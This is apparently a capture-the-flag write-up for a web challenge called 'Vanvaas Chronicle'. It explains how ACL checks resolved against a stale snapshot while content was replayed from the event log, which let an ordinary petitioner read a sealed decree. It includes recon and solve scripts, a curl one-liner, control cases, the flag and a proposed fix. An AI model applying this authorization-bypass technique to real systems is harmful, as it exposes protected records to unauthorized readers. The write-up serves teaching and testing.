V01 — The Fourteen-Year Decree: Broken Time

ctf: Pinaka CTF · **date:** 2026-11-01 · **category:** web · **difficulty:** medium · **flag format:** PINAKA{...}

Flag:
`PINAKA{panchavati_the_sealed_chronicle_serves_the_uncleared_reader}`

Summary

The Vanvaas Chronicle is an append-only, event-sourced decree archive with a single logical clock, periodic snapshots, and point-in-time (`asof`) reads. Authorization for a read is resolved against the newest **snapshot** at or before `asof`, but the content is replayed from the **event log** up to `asof`. Those two clocks disagree for any document sealed after the last snapshot was taken, so an ordinary petitioner can read the sealed decree of the exile without any royal clearance, forged token, or write access.

Step 1 — Recon

The brief hands over nothing but a README and a host. The flavour text is unusually precise about the architecture, and it is worth reading as a spec rather than as scenery: *"an archive that remembers not only what is written now, but what the court held to be true at every moment of its history"* is a temporal database, *"under one great water-clock the scribes stamp each amendment in order"* is a monotonic transaction counter, and *"now and again they take a reckoning — a snapshot"* says snapshots exist and are periodic rather than per-write. That last detail is the whole bug: periodic snapshots mean there is always a window where the newest snapshot is stale.

Two constraints narrow the search a lot. The README forbids forging clearance, altering a decree, or impersonating the royal house — so token tampering and writes are out — while explicitly permitting one thing: *"the Chronicle will let any petitioner read a decree as it stood at any past moment it remembers."* When a brief rules out every lever but one, that one is the intended lever.

`GET /` lists the whole attack surface:

```
Vanvaas Chronicle — the royal decree archive of Ayodhya in the days of the exile.
Event-sourced, under a single logical clock, with periodic snapshots.
Enroll as a petitioner, then read any decree as the chronicle stood as of a logical time.
Endpoints: POST /chronicle/enroll ; GET /archive/docs ; GET /archive/snapshots ;
           GET /archive/log ; GET /archive/read?doc=<id>&asof=<L> (requires token)
```



Challenge directory and the service banner listing all five endpoints.

Step 2 — Reading the timeline

Three of the five endpoints need no token at all, and between them they leak the entire history. `GET /archive/docs` gives current state: `decree.ayodhya-weal` is public, while `decree.vanvaas` and `decree.kaikeyi-boon` are `sealed-royal` with `readers: ["ikshvaku-house"]`. `GET /archive/snapshots` returns `{"now": 9, "snapshots": [4]}` — one snapshot, taken at logical time 4. `GET /archive/log` returns every event, with sealed bodies redacted to `[sealed]` but the metadata left intact.

Lining the log up against the snapshot is the entire solve:

L	document	classification	readers
1	decree.ayodhya-weal	public	*
2	decree.vanvaas	proclaimed-draft	*
3	decree.ayodhya-weal	public	*
4	—	**snapshot taken**	—
5	decree.kaikeyi-boon	sealed-royal	ikshvaku-house
8	decree.vanvaas	sealed-royal	ikshvaku-house
9	decree.ayodhya-weal	public	*

`decree.vanvaas` was a public draft at L=2, the snapshot at L=4 captured it in that public state, and it was not sealed until L=8. No snapshot has been taken since. So the only snapshot the server can consult still believes the decree of the exile is readable by everyone, while the log has carried it three amendments past that point.

`recon.py` rebuilds this from the live endpoints and names the skew directly rather than making me eyeball it:

```
ctf@ayodhya:~/vanvaas-chronicle$ python3 recon.py
logical clock now = 9
snapshots         = [4]

event log (public, sealed bodies redacted by the server):
  L=1  decree.ayodhya-weal    public            readers=*                 On the weal of Kosala and the ordering
  L=2  decree.vanvaas         proclaimed-draft  readers=*                 A question of the succession stands be
  L=3  decree.ayodhya-weal    public            readers=*                 Addendum concerning the treasury.
  L=5  decree.kaikeyi-boon    sealed-royal      readers=ikshvaku-house    [sealed]
  L=8  decree.vanvaas         sealed-royal      readers=ikshvaku-house    [sealed]
  L=9  decree.ayodhya-weal    public            readers=*                 The court adjourns in grief.

logical times with no event: [4, 6, 7]

sealed document: decree.vanvaas
  current state      : sealed-royal readers=['ikshvaku-house']
  governing snapshot : 4
  version in snapshot: L=2 proclaimed-draft readers=*
  *** SKEW: snapshot still has this document public, but the
      content served comes from L=8 (sealed-royal).
      Any asof >= 8 is authorized against the stale public
      version while returning sealed content.

sealed document: decree.kaikeyi-boon
  current state      : sealed-royal readers=['ikshvaku-house']
  governing snapshot : 4
  -> document did not exist at the snapshot; read fails closed

```

recon.py reconstructing the timeline and reporting the snapshot skew.

Logical times 6 and 7 carry no events. I chased that gap for a while — a hidden document would be a much more interesting finding — but reading every document at every `asof` shows no body changing at 6 or 7, and probing for unlisted document ids returns the "no such decree" error for all of them. They are just unused ticks that put daylight between the snapshot and the seal.

Step 3 — The solve

The read path does two lookups that should share a clock but don't:

```
governing_snapshot = max(s for s in snapshots if s <= asof)   # -> 4 for any asof >= 4
authz_version      = state of doc inside that snapshot        # -> public draft from L=2
content            = replay of the event log up to asof       # -> sealed body from L=8
```

Authorization passes because the snapshot's copy still lists `readers: ["*"]`, and then the server hands over whatever the log says is current at `asof`. Reading `decree.vanvaas` at any `asof >= 8` therefore returns the sealed text to an account holding nothing but the `petitioner` role. Omitting `asof` entirely works too, since it defaults to `now`.

One practical note: the service accepts the reading token either as a bearer header or as a `token=` query parameter. I used the query form — it is equally valid here and it survives middleboxes that strip credential headers from plaintext HTTP.

`solve.py` derives the target and the logical time from the public endpoints instead of hard-coding `asof=8`, so it still works if the instance is reseeded with a different timeline:

```
def find_skew(events, snapshots, docs, now):
    """Return (doc, asof) for a document whose seal postdates its snapshot."""
    for d in docs["decrees"]:
        if "*" in d["readers"]:
            continue                      # already public, nothing to steal
        doc = d["doc"]
        gs = governing_snapshot(snapshots, now)
        if gs is None:
            continue
        snap_ver = version_at(events, doc, gs)
        if snap_ver is None or "*" not in snap_ver["readers"]:
            continue                      # fails closed, or sealed before the snapshot
        seal = next(e for e in events
                    if e["doc"] == doc and e["L"] > gs and "*" not in e["readers"])
        return doc, seal["L"]
    return None, None
```

Run it and the sealed decree comes back in one request:

```
ctf@ayodhya:~/vanvaas-chronicle$ python3 solve.py
[*] enrolled as petitioner-fe1d54, roles=['petitioner']
[*] clock now=9  snapshots=[4]
[*] target decree.vanvaas sealed at L=8, last snapshot L=4
[*] authorization will resolve the public version from L<=4
[*] GET /archive/read?doc=decree.vanvaas&asof=8 -> 200

{
  "asof": 8,
  "authorized_against_version_asof": 4,
  "body": "By the king's word: Rama to the Dandaka forest, fourteen years of exile.",
  "breach": "A SEALED royal decree was served to a reader with no royal clearance: authorization resolve
d an older, public version while the sealed content was served.",
  "classification": "sealed-royal",
  "doc": "decree.vanvaas",
  "flag": "PINAKA{panchavati_the_sealed_chronicle_serves_the_uncleared_reader}"
}

[+] authorized against version asof : 4
[+] classification served           : sealed-royal
[+] body                            : By the king's word: Rama to the Dandaka forest, fourteen years of
exile.
[+] FLAG: PINAKA{panchavati_the_sealed_chronicle_serves_the_uncleared_reader}
```

solve.py enrolling, locating the skew, and printing the sealed decree.

Step 4 — Verifying it is a real bypass

Three checks separate a genuine authorization bypass from a misread of a legitimate feature.

The token is doing no work it shouldn't. Enrollment only ever issues `roles: ["petitioner"]`; passing `roles`, `role` or `clearance` in the enrolment body is ignored, and the token is `base64(payload).HMAC`, so editing the payload and reusing the signature just returns `enroll first`. Nothing was forged.

The pre-seal read is not the bug. At `asof=2` the decree really was a public draft and the response body is the draft text, `"A question of the succession stands before the court..."`, with `authorized_against_version_asof: null` — no snapshot governs that far back, so the server authorizes against the live version and gets it right. That is the feature the README explicitly permits. The breach is at `asof >= 8`, where the body is the sealed text but the authorization still resolves to version 4.

The control case proves the mechanism. `decree.kaikeyi-boon` was created at L=5, *after* the snapshot, so the snapshot holds no version of it to authorize against — and that read fails closed with `"this decree had no version as of the governing snapshot"`. Same endpoint, same token, same `asof`: the only

difference is whether a stale public version exists in the snapshot. That is the bug isolated to a single variable.

```
ctf@ayodhya:~/vanvaas-chronicle$ ./verify.sh
# no token -> refused
{"error": "enroll first"}

# asof=2, before the seal: genuinely public, no snapshot governs
{"asof": 2, "authorized_against_version_asof": null, "body": "A question of the succession stands before the court;
no sentence is yet pronounced.", "classification": "proclaimed-draft", "doc": "decree.vanvaas"}

# kaikeyi-boon was created after the snapshot -> fails closed
{"asof": 9, "doc": "decree.kaikeyi-boon", "error": "this decree had no version as of the governing snapshot"}
```

Control cases: unauthenticated read refused, pre-seal read legitimate, second sealed decree fails closed.

Step 5 — The flag

The server runs its own breach detector and only emits the flag when it concludes that sealed content reached an uncleared reader. The winning response says so itself, and `authorized_against_version_asof: 4` is the service confessing the exact skew:

```
{
  "asof": 8,
  "authorized_against_version_asof": 4,
  "body": "By the king's word: Rama to the Dandaka forest, fourteen years of exile.",
  "breach": "A SEALED royal decree was served to a reader with no royal clearance: authorization resolve
    d an older, public version while the sealed content was served.",
  "classification": "sealed-royal",
  "doc": "decree.vanvaas",
  "flag": "PINAKA{panchavati_the_sealed_chronicle_serves_the_uncleared_reader}"
}
```

Reduced to a single request with nothing but an ordinary petitioner token:

```
TOKEN=$(curl -s -X POST http://<host>:<port>/chronicle/enroll \
          -H 'Content-Type: application/json' -d '{"name":"petitioner"}' \
        | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')

curl -s "http://<host>:<port>/archive/read?doc=decree.vanvaas&asof=8&token=$TOKEN"
```

```
ctf@ayodhya:~/vanvaas-chronicle$ ./getflag.sh
{
    "asof": 8,
    "authorized_against_version_asof": 4,
    "body": "By the king's word: Rama to the Dandaka forest, fourteen years of exile.",
    "breach": "A SEALED royal decree was served to a reader with no royal clearance: authorization resol
ved an older, public version while the sealed content was served.",
    "classification": "sealed-royal",
    "doc": "decree.vanvaas",
    "flag": "PINAKA{panchavati_the_sealed_chronicle_serves_the_uncleared_reader}"
}
```

Enrolling as an ordinary petitioner and retrieving the sealed decree in one request.

The fix is the dull one: resolve the ACL from the same point in time as the content, or refuse a read whenever the governing snapshot is older than the document's newest classification change.

Flag

```
PINAKA{panchavati_the_sealed_chronicle_serves_the_uncleared_reader}
```

Files

file	what it is
`README.md`	the challenge brief as provided
`target.txt`	connection string for the instance
`chronicle.py`	small JSON/HTTP client shared by the other scripts
`fetch.sh`	thin curl wrapper that reads the host from `target.txt`
`recon.py`	rebuilds the timeline and reports the snapshot skew
`solve.py`	primary solve: enroll, locate the skew, read the sealed decree, write `flag.txt`
`verify.sh`	the three control cases from Step 4
`getflag.sh`	enrol and read the sealed decree in one request
`repro.sh`	runs recon, solve and the control cases end to end, saving transcripts
`replay_server.py`	serves `recorded/` so the package still runs after the instance expires
`recorded/`	response bodies captured from the instance during the solve
`capture.sh`	drives a real terminal on an X server to take the screenshots
`_crop.py`	crops each capture to the terminal window
`build_pdf.py`	renders this write-up and the screenshots into the PDF
`flag.txt`	the flag, written by `solve.py`
`transcripts/*.txt`	stdout of each step
`screenshots/01_recon.png`	challenge files and service banner
`screenshots/02_analysis.png`	timeline reconstruction and skew detection
`screenshots/03_solve.png`	solve script retrieving the sealed decree
`screenshots/04_verify.png`	control cases confirming the bypass
`screenshots/05_flag.png`	final flag retrieval